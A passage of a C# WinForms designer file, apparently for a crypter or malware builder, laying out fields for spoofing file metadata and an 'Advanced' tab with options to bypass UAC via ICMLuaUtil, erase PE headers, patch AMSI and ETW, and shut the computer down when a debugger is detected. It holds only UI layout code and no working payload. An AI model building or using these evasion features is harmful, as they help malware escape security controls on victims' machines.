System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // productGuna2TextBox\n            // \n            this.productGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.productGuna2TextBox.Animated = true;\n            this.productGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.productGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.productGuna2TextBox.DefaultText = \"\";\n            this.productGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.productGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.productGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.productGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.productGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.productGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.productGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.productGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.productGuna2TextBox.Location = new System.Drawing.Point(172, 81);\n            this.productGuna2TextBox.Name = \"productGuna2TextBox\";\n            this.productGuna2TextBox.PasswordChar = '\\0';\n            this.productGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.productGuna2TextBox.PlaceholderText = \"...\";\n            this.productGuna2TextBox.SelectedText = \"\";\n            this.productGuna2TextBox.Size = new System.Drawing.Size(244, 36);\n            this.productGuna2TextBox.TabIndex = 29;\n            // \n            // productVersionGuna2TextBox\n            // \n            this.productVersionGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.productVersionGuna2TextBox.Animated = true;\n            this.productVersionGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.productVersionGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.productVersionGuna2TextBox.DefaultText = \"\";\n            this.productVersionGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.productVersionGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.productVersionGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.productVersionGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.productVersionGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.productVersionGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.productVersionGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.productVersionGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.productVersionGuna2TextBox.Location = new System.Drawing.Point(539, 165);\n            this.productVersionGuna2TextBox.Name = \"productVersionGuna2TextBox\";\n            this.productVersionGuna2TextBox.PasswordChar = '\\0';\n            this.productVersionGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.productVersionGuna2TextBox.PlaceholderText = \"...\";\n            this.productVersionGuna2TextBox.SelectedText = \"\";\n            this.productVersionGuna2TextBox.Size = new System.Drawing.Size(244, 36);\n            this.productVersionGuna2TextBox.TabIndex = 43;\n            // \n            // label13\n            // \n            this.label13.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label13.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label13.Location = new System.Drawing.Point(428, 165);\n            this.label13.Name = \"label13\";\n            this.label13.Size = new System.Drawing.Size(105, 36);\n            this.label13.TabIndex = 44;\n            this.label13.Text = \"Product version :\";\n            this.label13.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // filenameGuna2TextBox\n            // \n            this.filenameGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.filenameGuna2TextBox.Animated = true;\n            this.filenameGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.filenameGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.filenameGuna2TextBox.DefaultText = \"\";\n            this.filenameGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.filenameGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.filenameGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.filenameGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.filenameGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.filenameGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.filenameGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.filenameGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.filenameGuna2TextBox.Location = new System.Drawing.Point(539, 123);\n            this.filenameGuna2TextBox.Name = \"filenameGuna2TextBox\";\n            this.filenameGuna2TextBox.PasswordChar = '\\0';\n            this.filenameGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.filenameGuna2TextBox.PlaceholderText = \"...\";\n            this.filenameGuna2TextBox.SelectedText = \"\";\n            this.filenameGuna2TextBox.Size = new System.Drawing.Size(244, 36);\n            this.filenameGuna2TextBox.TabIndex = 39;\n            // \n            // label12\n            // \n            this.label12.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label12.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label12.Location = new System.Drawing.Point(428, 123);\n            this.label12.Name = \"label12\";\n            this.label12.Size = new System.Drawing.Size(105, 36);\n            this.label12.TabIndex = 41;\n            this.label12.Text = \"Original filename :\";\n            this.label12.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // fileVersionGuna2TextBox\n            // \n            this.fileVersionGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.fileVersionGuna2TextBox.Animated = true;\n            this.fileVersionGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.fileVersionGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.fileVersionGuna2TextBox.DefaultText = \"\";\n            this.fileVersionGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.fileVersionGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.fileVersionGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.fileVersionGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.fileVersionGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.fileVersionGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.fileVersionGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.fileVersionGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.fileVersionGuna2TextBox.Location = new System.Drawing.Point(539, 208);\n            this.fileVersionGuna2TextBox.Name = \"fileVersionGuna2TextBox\";\n            this.fileVersionGuna2TextBox.PasswordChar = '\\0';\n            this.fileVersionGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.fileVersionGuna2TextBox.PlaceholderText = \"...\";\n            this.fileVersionGuna2TextBox.SelectedText = \"\";\n            this.fileVersionGuna2TextBox.Size = new System.Drawing.Size(244, 36);\n            this.fileVersionGuna2TextBox.TabIndex = 40;\n            // \n            // label11\n            // \n            this.label11.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label11.Location = new System.Drawing.Point(429, 208);\n            this.label11.Name = \"label11\";\n            this.label11.Size = new System.Drawing.Size(105, 36);\n            this.label11.TabIndex = 42;\n            this.label11.Text = \"File version : \";\n            this.label11.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // copyrightGuna2TextBox\n            // \n            this.copyrightGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.copyrightGuna2TextBox.Animated = true;\n            this.copyrightGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.copyrightGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.copyrightGuna2TextBox.DefaultText = \"\";\n            this.copyrightGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.copyrightGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.copyrightGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.copyrightGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.copyrightGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.copyrightGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.copyrightGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.copyrightGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.copyrightGuna2TextBox.Location = new System.Drawing.Point(173, 208);\n            this.copyrightGuna2TextBox.Name = \"copyrightGuna2TextBox\";\n            this.copyrightGuna2TextBox.PasswordChar = '\\0';\n            this.copyrightGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.copyrightGuna2TextBox.PlaceholderText = \"...\";\n            this.copyrightGuna2TextBox.SelectedText = \"\";\n            this.copyrightGuna2TextBox.Size = new System.Drawing.Size(243, 36);\n            this.copyrightGuna2TextBox.TabIndex = 37;\n            // \n            // label10\n            // \n            this.label10.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label10.Location = new System.Drawing.Point(94, 207);\n            this.label10.Name = \"label10\";\n            this.label10.Size = new System.Drawing.Size(105, 36);\n            this.label10.TabIndex = 38;\n            this.label10.Text = \"Copyright :\";\n            this.label10.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // companyGuna2TextBox\n            // \n            this.companyGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.companyGuna2TextBox.Animated = true;\n            this.companyGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.companyGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.companyGuna2TextBox.DefaultText = \"\";\n            this.companyGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.companyGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.companyGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.companyGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.companyGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.companyGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.companyGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.companyGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.companyGuna2TextBox.Location = new System.Drawing.Point(172, 165);\n            this.companyGuna2TextBox.Name = \"companyGuna2TextBox\";\n            this.companyGuna2TextBox.PasswordChar = '\\0';\n            this.companyGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.companyGuna2TextBox.PlaceholderText = \"...\";\n            this.companyGuna2TextBox.SelectedText = \"\";\n            this.companyGuna2TextBox.Size = new System.Drawing.Size(244, 36);\n            this.companyGuna2TextBox.TabIndex = 35;\n            // \n            // label9\n            // \n            this.label9.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label9.Location = new System.Drawing.Point(94, 165);\n            this.label9.Name = \"label9\";\n            this.label9.Size = new System.Drawing.Size(105, 36);\n            this.label9.TabIndex = 36;\n            this.label9.Text = \"Company :\";\n            this.label9.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // descriptionGuna2TextBox\n            // \n            this.descriptionGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.descriptionGuna2TextBox.Animated = true;\n            this.descriptionGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.descriptionGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.descriptionGuna2TextBox.DefaultText = \"\";\n            this.descriptionGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.descriptionGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.descriptionGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.descriptionGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.descriptionGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.descriptionGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.descriptionGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.descriptionGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.descriptionGuna2TextBox.Location = new System.Drawing.Point(172, 123);\n            this.descriptionGuna2TextBox.Name = \"descriptionGuna2TextBox\";\n            this.descriptionGuna2TextBox.PasswordChar = '\\0';\n            this.descriptionGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.descriptionGuna2TextBox.PlaceholderText = \"...\";\n            this.descriptionGuna2TextBox.SelectedText = \"\";\n            this.descriptionGuna2TextBox.Size = new System.Drawing.Size(244, 36);\n            this.descriptionGuna2TextBox.TabIndex = 33;\n            // \n            // label8\n            // \n            this.label8.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label8.Location = new System.Drawing.Point(94, 123);\n            this.label8.Name = \"label8\";\n            this.label8.Size = new System.Drawing.Size(105, 36);\n            this.label8.TabIndex = 34;\n            this.label8.Text = \"Description :\";\n            this.label8.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // trademarksGuna2TextBox\n            // \n            this.trademarksGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.trademarksGuna2TextBox.Animated = true;\n            this.trademarksGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.trademarksGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.trademarksGuna2TextBox.DefaultText = \"\";\n            this.trademarksGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.trademarksGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.trademarksGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.trademarksGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.trademarksGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.trademarksGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.trademarksGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.trademarksGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.trademarksGuna2TextBox.Location = new System.Drawing.Point(539, 81);\n            this.trademarksGuna2TextBox.Name = \"trademarksGuna2TextBox\";\n            this.trademarksGuna2TextBox.PasswordChar = '\\0';\n            this.trademarksGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.trademarksGuna2TextBox.PlaceholderText = \"...\";\n            this.trademarksGuna2TextBox.SelectedText = \"\";\n            this.trademarksGuna2TextBox.Size = new System.Drawing.Size(244, 36);\n            this.trademarksGuna2TextBox.TabIndex = 31;\n            // \n            // label7\n            // \n            this.label7.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label7.Location = new System.Drawing.Point(428, 81);\n            this.label7.Name = \"label7\";\n            this.label7.Size = new System.Drawing.Size(105, 36);\n            this.label7.TabIndex = 32;\n            this.label7.Text = \"Trademarks :\";\n            this.label7.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // label14\n            // \n            this.label14.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label14.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label14.Location = new System.Drawing.Point(94, 81);\n            this.label14.Name = \"label14\";\n            this.label14.Size = new System.Drawing.Size(105, 36);\n            this.label14.TabIndex = 30;\n            this.label14.Text = \"Product :\";\n            this.label14.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // tabPage13\n            // \n            this.tabPage13.Controls.Add(this.guna2GroupBox3);\n            this.tabPage13.Controls.Add(this.label4);\n            this.tabPage13.Location = new System.Drawing.Point(4, 44);\n            this.tabPage13.Name = \"tabPage13\";\n            this.tabPage13.Padding = new System.Windows.Forms.Padding(3);\n            this.tabPage13.Size = new System.Drawing.Size(900, 395);\n            this.tabPage13.TabIndex = 4;\n            this.tabPage13.Text = \"Advanced\";\n            this.tabPage13.UseVisualStyleBackColor = true;\n            // \n            // guna2GroupBox3\n            // \n            this.guna2GroupBox3.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.guna2GroupBox3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox3.BorderThickness = 0;\n            this.guna2GroupBox3.Controls.Add(this.bypassICMLuaUtilGuna2CheckBox);\n            this.guna2GroupBox3.Controls.Add(this.antiDebugGuna2CheckBox);\n            this.guna2GroupBox3.Controls.Add(this.erasePEHeadersGuna2CheckBox);\n            this.guna2GroupBox3.Controls.Add(this.patchAMSIGuna2CheckBox);\n            this.guna2GroupBox3.Controls.Add(this.patchETWGuna2CheckBox);\n            this.guna2GroupBox3.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox3.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox3.Location = new System.Drawing.Point(6, 6);\n            this.guna2GroupBox3.Name = \"guna2GroupBox3\";\n            this.guna2GroupBox3.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox3.Size = new System.Drawing.Size(254, 169);\n            this.guna2GroupBox3.TabIndex = 32;\n            this.guna2GroupBox3.Text = \"Special\";\n            // \n            // bypassICMLuaUtilGuna2CheckBox\n            // \n            this.bypassICMLuaUtilGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.bypassICMLuaUtilGuna2CheckBox.Animated = true;\n            this.bypassICMLuaUtilGuna2CheckBox.AutoSize = true;\n            this.bypassICMLuaUtilGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.bypassICMLuaUtilGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.bypassICMLuaUtilGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.bypassICMLuaUtilGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.bypassICMLuaUtilGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.bypassICMLuaUtilGuna2CheckBox.Location = new System.Drawing.Point(0, 147);\n            this.bypassICMLuaUtilGuna2CheckBox.Name = \"bypassICMLuaUtilGuna2CheckBox\";\n            this.bypassICMLuaUtilGuna2CheckBox.Size = new System.Drawing.Size(87, 17);\n            this.bypassICMLuaUtilGuna2CheckBox.TabIndex = 34;\n            this.bypassICMLuaUtilGuna2CheckBox.Text = \"Bypass UAC\";\n            this.patchToolTip.SetToolTip(this.bypassICMLuaUtilGuna2CheckBox, \"This bypass UAC technique use PEB masquerading + ICMLuaUtil.\");\n            this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // antiDebugGuna2CheckBox\n            // \n            this.antiDebugGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.antiDebugGuna2CheckBox.Animated = true;\n            this.antiDebugGuna2CheckBox.AutoSize = true;\n            this.antiDebugGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.antiDebugGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.antiDebugGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.antiDebugGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.antiDebugGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.antiDebugGuna2CheckBox.Location = new System.Drawing.Point(0, 111);\n            this.antiDebugGuna2CheckBox.Name = \"antiDebugGuna2CheckBox\";\n            this.antiDebugGuna2CheckBox.Size = new System.Drawing.Size(84, 17);\n            this.antiDebugGuna2CheckBox.TabIndex = 33;\n            this.antiDebugGuna2CheckBox.Text = \"Anti-Debug\";\n            this.patchToolTip.SetToolTip(this.antiDebugGuna2CheckBox, \"This option (if activated) will start a thread checking for debuggers every 10 se\" +\n        \"c. It will shut down the computer if a debugger is detected.\");\n            this.antiDebugGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.antiDebugGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.antiDebugGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.antiDebugGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // erasePEHeadersGuna2CheckBox\n            // \n            this.erasePEHeadersGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.erasePEHeadersGuna2CheckBox.Animated = true;\n            this.erasePEHeadersGuna2CheckBox.AutoSize = true;\n            this.erasePEHeadersGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.erasePEHeadersGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.erasePEHeadersGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.erasePEHeadersGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.erasePEHeadersGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.erasePEHeadersGuna2CheckBox.Location = new System.Drawing.Point(0, 78);\n            this.erasePEHeadersGuna2CheckBox.Name = 